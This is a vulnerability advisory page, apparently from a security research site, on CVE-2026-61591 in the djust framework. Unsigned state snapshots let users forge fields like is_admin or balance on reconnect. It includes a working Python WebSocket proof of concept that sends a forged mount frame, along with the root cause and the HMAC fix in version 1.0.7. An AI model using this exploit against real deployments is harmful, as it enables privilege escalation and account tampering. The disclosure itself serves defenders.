CVE-2026-61591: djust Unsigned State Snapshot Privilege Escalation
djust let any authenticated user edit the state blob embedded in their own page and send it back on reconnect, letting them flip fields like is_admin or alter balances with no signature check.

The problem
Views that opt into state snapshots embed a state_json blob in the rendered HTML so the server can restore view state after a back-navigation or reconnect. Before 1.0.7, this blob carried no HMAC or signature.
A client could read the blob from the page source, edit any view attribute (for example is_admin, account_id, or balance), and return the modified JSON in the reconnect mount frame. The server restored it directly as trusted view state, giving the attacker full control over whatever the view held in public attributes.
Proof of concept
A working proof-of-concept for CVE-2026-61591 in djust, with the exact payload below.
# 1. Load the page and grab the unsigned snapshot from the HTML:
# <div dj-snapshot data-state='{"is_admin": false, "account_id": 42, "balance": 100}'></div>
# 2. Edit it locally — flip is_admin, zero out balance:
modified = '{"is_admin": true, "account_id": 42, "balance": 0}'
# 3. On reconnect, send the mount frame with the forged state_json:
import json, websockets, asyncio
async def exploit():
uri = "wss://target.example.com/djust/ws/MyView/"
async with websockets.connect(uri, extra_headers={"Cookie": "sessionid=YOUR_SESSION"}) as ws:
reconnect_frame = json.dumps({
"type": "mount",
"restore": True,
"state_json": '{"is_admin": true, "account_id": 42, "balance": 0}'
})
await ws.send(reconnect_frame)
resp = await ws.recv()
print(resp) # Server mounts with attacker-supplied state
asyncio.run(exploit())The root cause is CWE-345 (Insufficient Verification of Data Authenticity): the server accepted state_json from the client on the reconnect path and passed it straight to set_state() with no integrity check. Because djust's normal pattern stores authorization fields (is_admin, account_id, balance) directly as public view attributes, any of them could be overwritten.
The fix in 1.0.7 signs the snapshot with an HMAC keyed to Django's SECRET_KEY before embedding it in the page. On restore, an invalid or missing signature causes the server to reject the snapshot and perform a fresh mount instead. The payload above is derived from the advisory description of the attack path; no public PoC was found during research.
The fix
Upgrade to **djust 1.0.7** or later. If you cannot upgrade immediately, disable state snapshots entirely (do not set snapshot = True on any view) and avoid storing authorization or ownership state in public view attributes.
Related research
- high · 7.4CVE-2026-61592CVE-2026-61592: djust SSE Session Hijack via Client-Controlled session_id
- high · 7.7CVE-2026-61595CVE-2026-61595: djust Multi-Tenant Isolation Fails Open on WebSocket/SSE Path
- high · 8.1CVE-2026-61593CVE-2026-61593: djust Cross-Site Request Forgery via Server-Sent Events Transport
- high · 7.4CVE-2026-61590CVE-2026-61590: djust Unauthenticated Observability Endpoint Exposure